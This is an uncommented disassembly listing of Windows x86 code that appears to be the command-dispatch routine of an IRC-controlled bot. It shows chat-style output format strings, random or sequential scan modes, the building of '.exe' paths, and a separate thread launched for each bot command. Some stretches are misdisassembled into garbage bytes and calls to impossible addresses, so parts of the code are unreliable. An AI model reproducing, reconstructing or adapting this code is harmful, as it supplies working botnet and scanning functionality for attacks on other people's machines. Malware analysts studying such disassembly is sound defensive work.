		cmp	byte ptr [edi],	23h
		jz	short loc_40FE54
		push	edi
		lea	eax, [ebp-430h]
		push	10h
		push	eax
		call	sub_415A4A
		push	78h
		push	edi
		call	sub_417060
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp-2F0h], eax
		jmp	loc_40FF28
; ---------------------------------------------------------------------------


loc_40FE54:				; CODE XREF: seg000:0040FE22j
					; seg000:0040FE27j
		cmp	[ebp-9B3h], bl
		jnz	short loc_40FE76
		cmp	[ebp-9B2h], bl
		jnz	short loc_40FE76
		cmp	[ebp-9A2h], bl
		jnz	short loc_40FE76
		push	offset dword_434D7C
		jmp	loc_412012
; ---------------------------------------------------------------------------


loc_40FE76:				; CODE XREF: seg000:0040FE5Aj
					; seg000:0040FE62j ...
		push	10h
		lea	eax, [ebp+8]
		pop	edi
		push	eax
		lea	eax, [ebp-2D8h]
		push	eax
		mov	[ebp+8], edi
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A31C	; getsockname
		mov	al, [ebp-9B3h]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp-2D4h], eax
		push	dword ptr [ebp-2D4h]
		call	ds:dword_43A404	; inet_ntoa
		push	eax
		lea	eax, [ebp-430h]
		push	eax
		call	sub_416D20
		add	esp, 0Ch
		cmp	[ebp-9A2h], bl
		jz	short loc_40FF22
		xor	eax, eax
		cmp	[ebp-9B3h], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp-430h]
		push	eax
		call	sub_417020
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	[ebp+2Fh], bl
		jle	short loc_40FF16


loc_40FEF4:				; CODE XREF: seg000:0040FF14j
		cmp	eax, ebx
		jz	short loc_40FF16
		mov	byte ptr [eax],	78h
		lea	eax, [ebp-430h]
		push	30h
		push	eax
		call	sub_417020
		inc	byte ptr [ebp+2Fh]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+2Fh]
		cmp	ecx, edi
		jl	short loc_40FEF4


loc_40FF16:				; CODE XREF: seg000:0040FEF2j
					; seg000:0040FEF6j
		mov	dword ptr [ebp-2F0h], 1
		jmp	short loc_40FF28
; ---------------------------------------------------------------------------


loc_40FF22:				; CODE XREF: seg000:0040FECCj
		mov	[ebp-2F0h], ebx


loc_40FF28:				; CODE XREF: seg000:0040FE4Fj
					; seg000:0040FF20j
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp-8Ch]
		mov	[ebp-320h], eax
		mov	eax, [ebp-4]
		mov	[ebp-2F8h], eax
		mov	eax, [ebp-8]
		mov	[ebp-2F4h], eax
		mov	edi, 80h
		lea	eax, [ebp-420h]
		push	edi
		push	eax
		call	sub_415A4A
		mov	esi, [ebp+esi-7Ch]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_40FF79


loc_40FF66:				; CODE XREF: seg000:0040FF9Cj
		push	esi


loc_40FF67:				; CODE XREF: seg000:0040FF86j
		lea	eax, [ebp-3A0h]
		push	edi
		push	eax
		call	sub_415A4A
		add	esp, 0Ch
		jmp	short loc_40FFA4
; ---------------------------------------------------------------------------


loc_40FF79:				; CODE XREF: seg000:0040FF64j
		mov	eax, [ebp+20h]
		cmp	eax, ebx
		jz	short loc_40FF88
		cmp	byte ptr [eax],	23h
		jnz	short loc_40FF88
		push	eax
		jmp	short loc_40FF67
; ---------------------------------------------------------------------------


loc_40FF88:				; CODE XREF: seg000:0040FF7Ej
					; seg000:0040FF83j
		mov	esi, offset aSf1 ; "#sf1"
		push	offset byte_438F9C
		push	esi
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF66
		mov	[ebp-3A0h], bl


loc_40FFA4:				; CODE XREF: seg000:0040FF77j
		cmp	[ebp-2F0h], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_40FFB6
		mov	eax, offset aSequential	; "Sequential"


loc_40FFB6:				; CODE XREF: seg000:0040FFAFj
		push	dword ptr [ebp-304h]
		lea	ecx, [ebp-430h]
		push	dword ptr [ebp-314h]
		push	dword ptr [ebp-318h]
		push	dword ptr [ebp-31Ch]
		push	ecx
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_434CF0
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	8
		push	eax
		call	sub_414F79
		add	esp, 2Ch
		mov	[ebp-310h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-430h]
		push	ebx
		push	eax
		push	offset sub_407983
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-310h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F51C[ecx], eax
		jz	short loc_410044


loc_41002E:				; CODE XREF: seg000:00410042j
		cmp	[ebp-2ECh], ebx
		jnz	loc_40F795
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_41002E
; ---------------------------------------------------------------------------


loc_410044:				; CODE XREF: seg000:0041002Cj
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_434CA4
		jmp	loc_40F786
; ---------------------------------------------------------------------------


loc_410055:				; CODE XREF: seg000:0040F46Cj
					; seg000:0040F483j
		push	edi
		call	sub_415A3F
		imul	eax, 234h
		pop	ecx
		cmp	ds:byte_43F520[eax], bl
		jz	loc_412974
		cmp	[ebp-0Ch], ebx
		jz	loc_412974
		push	edi
		call	sub_415CD0
		push	dword ptr [ebp+10h]
		mov	esi, eax
		call	sub_415CD0
		push	dword ptr [ebp+20h]
		add	esi, eax
		call	sub_415CD0
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+8]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_415AA0
		mov	esi, eax
		lea	eax, [ebp-2C8h]
		push	esi
		push	offset dword_434C98
		push	eax
		call	sub_4154CD
		add	esp, 20h
		cmp	esi, ebx
		jz	loc_412974
		push	edi
		call	sub_415A3F
		test	eax, eax
		pop	ecx
		jle	loc_412974
		push	edi
		call	sub_415A3F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_412974
		push	ebx
		lea	eax, [ebp-2C8h]
		push	ebx
		push	eax
		push	dword ptr [ebp+20h]
		push	edi
		call	sub_415A3F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43F514[eax]
		call	sub_412D32
		push	edi
		call	sub_415A3F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr ds:dword_43F308[eax], 73h
		jnz	loc_412974
		push	esi
		push	edi
		call	sub_415A3F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43F520
		push	eax
		push	dword ptr [ebp+20h]
		push	offset aSSS_1	; "[%s]	* %s %s"


loc_41013D:				; CODE XREF: seg000:0041023Aj
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32


loc_410162:				; CODE XREF: seg000:004120DAj
		add	esp, 28h
		jmp	loc_412974
; ---------------------------------------------------------------------------


loc_41016A:				; CODE XREF: seg000:0040F43Ej
					; seg000:0040F455j
		push	edi
		call	sub_415A3F
		imul	eax, 234h
		pop	ecx
		cmp	ds:byte_43F520[eax], bl
		jz	loc_412974
		cmp	[ebp-0Ch], ebx
		jz	loc_412974
		push	edi
		call	sub_415CD0
		push	dword ptr [ebp+10h]
		mov	esi, eax
		call	sub_415CD0
		push	dword ptr [ebp+20h]
		add	esi, eax
		call	sub_415CD0
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+8]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_415AA0
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_412974
		push	edi
		call	sub_415A3F
		test	eax, eax
		pop	ecx
		jle	loc_412974
		push	edi
		call	sub_415A3F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_412974
		push	ebx
		push	ebx
		push	esi
		push	dword ptr [ebp+20h]
		push	edi
		call	sub_415A3F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43F514[eax]
		call	sub_412D32
		push	edi
		call	sub_415A3F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr ds:dword_43F308[eax], 73h
		jnz	loc_412974
		push	esi
		push	edi
		call	sub_415A3F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43F520
		push	eax
		push	dword ptr [ebp+20h]
		push	offset aSSS_0	; "[%s]	<%s> %s"
		jmp	loc_41013D
; ---------------------------------------------------------------------------


loc_41023F:				; CODE XREF: seg000:0040F410j
					; seg000:0040F427j
		push	edi
		call	ds:dword_43A3B8	; inet_addr
		push	dword ptr [ebp+20h]
		mov	[ebp-460h], eax
		call	sub_415A3F
		push	dword ptr [ebp+8]
		mov	[ebp-46Ch], eax
		call	sub_415A3F
		mov	esi, [ebp+0Ch]
		push	7Fh
		push	dword ptr [ebp-8Ch]
		mov	[ebp-468h], eax
		lea	eax, [ebp-4ECh]
		mov	[ebp-4F0h], esi
		push	eax
		call	sub_416D20
		add	esp, 14h
		mov	edi, [ebp-4]
		mov	eax, [ebp-8]
		mov	[ebp-458h], edi
		push	dword ptr [ebp-468h]
		mov	[ebp-454h], eax
		push	dword ptr [ebp-46Ch]
		push	dword ptr [ebp-460h]
		call	ds:dword_43A404	; inet_ntoa
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset unk_434C28
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	8
		push	eax
		call	sub_414F79
		add	esp, 20h
		mov	[ebp-464h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4F0h]
		push	ebx
		push	eax
		push	offset sub_41454F
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-464h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F51C[ecx], eax
		jz	short loc_410321


loc_41030B:				; CODE XREF: seg000:0041031Fj
		cmp	[ebp-450h], ebx
		jnz	loc_411EF3
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_41030B
; ---------------------------------------------------------------------------


loc_410321:				; CODE XREF: seg000:00410309j
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434BD8
		jmp	loc_411EE4
; ---------------------------------------------------------------------------


loc_410332:				; CODE XREF: seg000:0040F3E2j
					; seg000:0040F3F9j
		push	edi
		call	sub_415A3F
		push	7Fh
		mov	[ebp-300h], eax
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-404h]
		push	eax
		call	sub_416D20
		push	dword ptr [ebp+8]
		call	sub_415A3F
		push	dword ptr [ebp-8Ch]
		mov	esi, [ebp+0Ch]
		mov	[ebp-304h], eax
		lea	eax, [ebp-384h]
		push	80h
		push	eax
		mov	[ebp-40Ch], esi
		call	sub_415A4A
		mov	eax, [ebp-8]
		add	esp, 20h
		mov	edi, [ebp-4]
		mov	[ebp-2F0h], eax
		push	dword ptr [ebp-304h]
		lea	eax, [ebp-404h]
		mov	[ebp-2F4h], edi
		push	eax
		push	dword ptr [ebp-300h]
		push	esi
		call	sub_40A155
		pop	ecx
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset unk_434B88
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	10h
		push	eax
		call	sub_414F79
		add	esp, 24h
		mov	[ebp-2FCh], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-40Ch]
		push	ebx
		push	eax
		push	offset sub_407BE2
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-2FCh]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F51C[ecx], eax
		jz	short loc_41041B


loc_410405:				; CODE XREF: seg000:00410419j
		cmp	[ebp-2ECh], ebx
		jnz	loc_411EF3
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_410405
; ---------------------------------------------------------------------------


loc_41041B:				; CODE XREF: seg000:00410403j
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434B34
		jmp	loc_411EE4
; ---------------------------------------------------------------------------


loc_41042C:				; CODE XREF: seg000:0040F3B4j
					; seg000:0040F3CBj
		push	0FFh
		lea	eax, [ebp-788h]
		push	edi
		push	eax
		call	sub_416D20
		push	0FFh
		lea	eax, [ebp-688h]
		push	dword ptr [ebp+20h]
		push	eax
		call	sub_416D20
		push	dword ptr [ebp+8]
		mov	[ebp-584h], ebx
		call	sub_415A3F
		mov	[ebp-580h], eax
		mov	eax, [ebp+esi-84h]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_410488
		push	10h
		push	ebx
		push	eax
		call	sub_416A69
		add	esp, 0Ch
		mov	[ebp-578h], eax
		jmp	short loc_41048E
; ---------------------------------------------------------------------------


loc_410488:				; CODE XREF: seg000:00410472j
		mov	[ebp-578h], ebx


loc_41048E:				; CODE XREF: seg000:00410486j
		mov	esi, [ebp+esi-80h]
		cmp	esi, ebx
		jz	short loc_4104A5
		push	esi
		call	sub_415A3F
		pop	ecx
		mov	[ebp-57Ch], eax
		jmp	short loc_4104AB
; ---------------------------------------------------------------------------


loc_4104A5:				; CODE XREF: seg000:00410494j
		mov	[ebp-57Ch], ebx


loc_4104AB:				; CODE XREF: seg000:004104A3j
		movzx	eax, byte ptr [ebp-9AFh]
		mov	esi, [ebp+0Ch]
		push	7Fh
		push	dword ptr [ebp-8Ch]
		mov	[ebp-574h], eax
		lea	eax, [ebp-808h]
		mov	[ebp-80Ch], esi
		push	eax
		call	sub_416D20
		mov	eax, [ebp-4]
		push	dword ptr [ebp+20h]
		mov	[ebp-56Ch], eax
		mov	eax, [ebp-8]
		mov	[ebp-570h], eax
		push	edi
		lea	eax, [ebp-2C8h]
		push	offset unk_434AF4
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp-2C8h]
		push	15h
		push	eax
		call	sub_414F79
		add	esp, 28h
		mov	[ebp-588h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-80Ch]
		push	ebx
		push	eax
		push	40BCD3h
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-588h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F51C[ecx], eax
		jz	short loc_410559


loc_410543:				; CODE XREF: seg000:00410557j
		cmp	[ebp-568h], ebx
		jnz	loc_40FBCC
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_410543
; ---------------------------------------------------------------------------


loc_410559:				; CODE XREF: seg000:00410541j
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434AA0
		jmp	loc_41075C
; ---------------------------------------------------------------------------


loc_41056A:				; CODE XREF: seg000:0040F386j
					; seg000:0040F39Dj
		push	7Fh
		lea	eax, [ebp-774h]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_416D20
		push	esi
		lea	eax, [ebp-6F4h]
		push	dword ptr [ebp+20h]
		push	eax
		call	sub_416D20
		push	esi
		lea	eax, [ebp-674h]
		push	dword ptr [ebp+8]
		push	eax
		call	sub_416D20
		push	esi
		lea	eax, [ebp-5F4h]
		push	dword ptr [ebp-8Ch]
		push	eax
		call	sub_416D20
		mov	eax, [ebp-8]
		push	dword ptr [ebp+8]
		mov	esi, [ebp-4]
		mov	[ebp-56Ch], eax
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp+20h]
		mov	[ebp-778h], eax
		lea	eax, [ebp-2C8h]
		push	edi
		push	offset dword_434A60
		push	eax
		mov	[ebp-570h], esi
		call	sub_4154CD
		add	esp, 44h
		lea	eax, [ebp-2C8h]
		push	ebx
		push	0Bh
		push	eax
		call	sub_414F79
		add	esp, 0Ch
		mov	[ebp-574h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-778h]
		push	ebx
		push	eax
		push	offset sub_40182E
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-574h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F51C[ecx], eax
		jz	short loc_41063D


loc_41062B:				; CODE XREF: seg000:0041063Bj
		cmp	[ebp-568h], ebx
		jnz	short loc_410658
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_41062B
; ---------------------------------------------------------------------------


loc_41063D:				; CODE XREF: seg000:00410629j
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_434A14
		push	eax
		call	sub_4154CD
		add	esp, 0Ch


loc_410658:				; CODE XREF: seg000:00410631j
		cmp	[ebp-8], ebx
		jnz	loc_412834
		push	ebx
		push	esi
		jmp	loc_40F7A2
; ---------------------------------------------------------------------------


loc_410668:				; CODE XREF: seg000:0040F341j
					; seg000:0040F358j ...
		push	7Fh
		lea	eax, [ebp-7F0h]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_416D20
		push	esi
		lea	eax, [ebp-770h]
		push	dword ptr [ebp+20h]
		push	eax
		call	sub_416D20
		push	esi
		lea	eax, [ebp-6F0h]
		push	dword ptr [ebp+8]
		push	eax
		call	sub_416D20
		push	esi
		lea	eax, [ebp-670h]
		push	dword ptr [ebp-8Ch]
		push	eax
		call	sub_416D20
		push	20h
		lea	eax, [ebp-5F0h]
		push	dword ptr [ebp+10h]
		push	eax
		call	sub_416D20
		mov	eax, [ebp-4]
		push	dword ptr [ebp+8]
		mov	esi, [ebp+0Ch]
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		push	dword ptr [ebp+20h]
		mov	[ebp-56Ch], eax
		lea	eax, [ebp-2C8h]
		push	edi
		push	offset unk_4349D0
		push	eax
		mov	[ebp-7F8h], esi
		call	sub_4154CD
		add	esp, 50h
		lea	eax, [ebp-2C8h]
		push	ebx
		push	0Ah
		push	eax
		call	sub_414F79
		add	esp, 0Ch
		mov	[ebp-7F4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-7F8h]
		push	ebx
		push	eax
		push	offset start
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-7F4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F51C[ecx], eax
		jz	short loc_410750


loc_41073A:				; CODE XREF: seg000:0041074Ej
		cmp	[ebp-568h], ebx
		jnz	loc_40FBCC
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_41073A
; ---------------------------------------------------------------------------


loc_410750:				; CODE XREF: seg000:00410738j
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434984


loc_41075C:				; CODE XREF: seg000:0040FBAEj
					; seg000:0040FCF9j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154CD
		jmp	loc_40FBC9
; ---------------------------------------------------------------------------


loc_41076D:				; CODE XREF: seg000:0040F313j
					; seg000:0040F32Aj
		push	7Fh
		lea	eax, [ebp-444h]
		push	edi
		push	eax
		call	sub_416D20
		push	dword ptr [ebp+20h]
		call	sub_415A3F
		push	3Fh
		mov	[ebp-2F4h], eax
		push	dword ptr [ebp+8]
		lea	eax, [ebp-3C4h]
		push	eax
		call	sub_416D20
		mov	esi, [ebp+esi-84h]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_4107BB
		push	3Fh
		lea	eax, [ebp-384h]
		push	esi
		push	eax
		call	sub_416D20
		add	esp, 0Ch


loc_4107BB:				; CODE XREF: seg000:004107A7j
		lea	eax, [ebp-3C4h]
		mov	dword ptr [ebp-2F0h], 1
		push	eax
		lea	eax, [ebp-444h]
		push	dword ptr [ebp-2F4h]
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset unk_434940
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	17h
		push	eax
		call	sub_414F79
		add	esp, 20h
		mov	[ebp-2ECh], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-448h]
		push	ebx
		push	eax
		push	offset sub_40CB59
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-2ECh]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F51C[ecx], eax
		jz	short loc_410847


loc_410831:				; CODE XREF: seg000:00410845j
		cmp	[ebp-2E8h], ebx
		jnz	loc_40F6F7
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_410831
; ---------------------------------------------------------------------------


loc_410847:				; CODE XREF: seg000:0041082Fj
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4348F4
		jmp	loc_40F6E8
; ---------------------------------------------------------------------------


loc_410858:				; CODE XREF: seg000:0040F2D3j
					; seg000:0040F2EAj
		push	dword ptr [ebp+20h]
		call	sub_415A3F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-578h], eax
		jle	loc_410949
		mov	esi, 80h
		push	edi
		lea	eax, [ebp-700h]
		push	esi
		push	eax
		call	sub_415A4A
		xor	eax, eax
		cmp	[ebp-9A2h], bl
		push	dword ptr [ebp-8Ch]
		setnz	al
		mov	[ebp-574h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-704h], eax
		lea	eax, [ebp-600h]
		push	esi
		push	eax
		call	sub_415A4A
		mov	eax, [ebp-4]
		push	dword ptr [ebp+20h]
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		mov	[ebp-56Ch], eax
		push	edi
		push	offset unk_4348B4
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_415A4A
		push	ebx
		lea	eax, [ebp-2C8h]
		push	0Dh
		push	eax
		call	sub_414F79
		add	esp, 38h
		mov	[ebp-580h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-704h]
		push	ebx
		push	eax
		push	offset loc_401447
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-580h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F51C[ecx], eax
		jz	short loc_410938


loc_410922:				; CODE XREF: seg000:00410936j
		cmp	[ebp-568h], ebx
		jnz	loc_40F795
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_410922
; ---------------------------------------------------------------------------


loc_410938:				; CODE XREF: seg000:00410920j
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434868
		jmp	loc_40F786
; ---------------------------------------------------------------------------


loc_410949:				; CODE XREF: seg000:00410869j
		push	offset unk_43481C
		jmp	loc_412012
; ---------------------------------------------------------------------------


loc_410953:				; CODE XREF: seg000:0040F2A5j
					; seg000:0040F2BCj
		push	dword ptr [ebp+20h]
		push	edi
		call	near ptr 3D0000h
		push	es
		test	eax, eax
		jz	short loc_410980
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-2C8h]
		push	edi
		push	offset unk_4347E4
		push	200h
		push	eax
		call	sub_415A4A
		jmp	loc_4111A3
; ---------------------------------------------------------------------------


loc_410980:				; CODE XREF: seg000:0041095Fj
		push	offset dword_4347C4
		call	loc_409BEC
		push	eax
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_415A4A
		add	esp, 10h
		jmp	loc_40F795
; ---------------------------------------------------------------------------


loc_4109A4:				; CODE XREF: seg000:0040F277j
					; seg000:0040F28Ej
		push	edi
		lea	eax, [ebp-77Ch]
		push	104h
		push	eax
		call	sub_415A4A
		add	esp, 0Ch
		cmp	[ebp-0Ch], ebx
		jz	short loc_4109DE
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_415AA0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4109DE
		push	eax
		lea	eax, [ebp-678h]
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx


loc_4109DE:				; CODE XREF: seg000:004109BCj
					; seg000:004109CDj
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-7FCh]
		push	80h
		push	eax
		call	sub_415A4A
		mov	eax, [ebp+0Ch]
		mov	[ebp-800h], eax
		mov	eax, [ebp-4]
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		mov	[ebp-56Ch], eax
		lea	eax, [ebp-678h]
		push	eax
		lea	eax, [ebp-77Ch]
		push	eax
		push	offset unk_434780
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_415A4A
		push	ebx
		lea	eax, [ebp-2C8h]
		push	1Bh
		push	eax
		call	sub_414F79
		add	esp, 2Ch
		mov	[ebp-574h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-800h]
		push	ebx
		push	eax
		push	offset sub_40876C
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-574h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F51C[ecx], eax
		jz	short loc_410A91


loc_410A7B:				; CODE XREF: seg000:00410A8Fj
		cmp	[ebp-568h], ebx
		jnz	loc_412834
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_410A7B
; ---------------------------------------------------------------------------


loc_410A91:				; CODE XREF: seg000:00410A79j
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434730
		jmp	loc_412825
; ---------------------------------------------------------------------------


loc_410AA2:				; CODE XREF: seg000:0040F249j
					; seg000:0040F260j
		push	44h
		lea	eax, [ebp-48Ch]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_415550
		push	1
		mov	[ebp-48Ch], esi
		pop	esi
		mov	[ebp-45Ch], bx
		push	edi
		mov	[ebp-460h], esi
		call	sub_415A3F
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_410ADF
		mov	word ptr [ebp-45Ch], 5


loc_410ADF:				; CODE XREF: seg000:00410AD4j
		cmp	[ebp-0Ch], ebx
		jz	loc_40F6F7
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_415AA0
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_40F6F7
		lea	eax, [ebp-2D8h]
		push	eax
		lea	eax, [ebp-48Ch]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	near ptr 3D0000h
		add	byte ptr [ebp+681875C0h], 0F8h
		inc	esi
		inc	ebx
		add	[ebp-2C77Bh], cl ; CODE	XREF: seg000:00410CBCj
					; seg000:0041134Fj ...
		call	dword ptr [eax-18h]
		pushf
		dec	ecx
; ---------------------------------------------------------------------------
		db 0
		dd 0E9595900h, 0FFFFEBBFh, 46CC6857h, 0A5E90043h
; ---------------------------------------------------------------------------
		jmp	short near ptr loc_410B40+1 ; CODE XREF: seg000:loc_410B40j
; ---------------------------------------------------------------------------
		db 0FFh
; ---------------------------------------------------------------------------


loc_410B43:				; CODE XREF: seg000:0040F21Bj
					; seg000:0040F232j
		push	dword ptr [ebp+20h]
		push	offset aIds443	; "ids443"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410CB7
		lea	eax, [ebp-3E8h]
		push	eax
		push	104h
		call	near ptr 3D0000h
		cdq
		push	0FFh
		lea	eax, [ebp-788h]
		push	edi
		push	eax
		call	sub_416D20
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_41410C
		push	eax
		lea	eax, [ebp-3E8h]
		push	eax
		lea	eax, [ebp-688h]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_4154CD
		mov	eax, [ebp+esi-88h]
		add	esp, 20h
		cmp	eax, ebx
		mov	dword ptr [ebp-584h], 1
		mov	[ebp-580h], ebx
		jz	short loc_410BD5
		push	10h
		push	ebx
		push	eax
		call	sub_416A69
		add	esp, 0Ch
		mov	[ebp-578h], eax
		jmp	short loc_410BDB
; ---------------------------------------------------------------------------


loc_410BD5:				; CODE XREF: seg000:00410BBFj
		mov	[ebp-578h], ebx


loc_410BDB:				; CODE XREF: seg000:00410BD3j
		mov	esi, [ebp+esi-84h]
		cmp	esi, ebx
		jz	short loc_410BF5
		push	esi
		call	sub_415A3F
		pop	ecx
		mov	[ebp-57Ch], eax
		jmp	short loc_410BFB
; ---------------------------------------------------------------------------


loc_410BF5:				; CODE XREF: seg000:00410BE4j
		mov	[ebp-57Ch], ebx


loc_410BFB:				; CODE XREF: seg000:00410BF3j
		movzx	eax, byte ptr [ebp-9AFh]
		mov	esi, [ebp+0Ch]
		push	7Fh
		push	dword ptr [ebp-8Ch]
		mov	[ebp-574h], eax
		lea	eax, [ebp-808h]
		mov	[ebp-80Ch], esi
		push	eax
		call	sub_416D20
		mov	eax, [ebp-4]
		push	edi
		mov	[ebp-56Ch], eax
		mov	eax, [ebp-8]
		mov	[ebp-570h], eax
		lea	eax, [ebp-2C8h]
		push	offset unk_434680
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp-2C8h]
		push	16h
		push	eax
		call	sub_414F79
		add	esp, 24h
		mov	[ebp-588h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-80Ch]
		push	ebx
		push	eax
		push	40BCD3h
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-588h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F51C[ecx], eax
		jz	short loc_410CA6


loc_410C90:				; CODE XREF: seg000:00410CA4j
		cmp	[ebp-568h], ebx
		jnz	loc_40F6F7
		push	32h
		call	ds:dword_421060	; Sleep
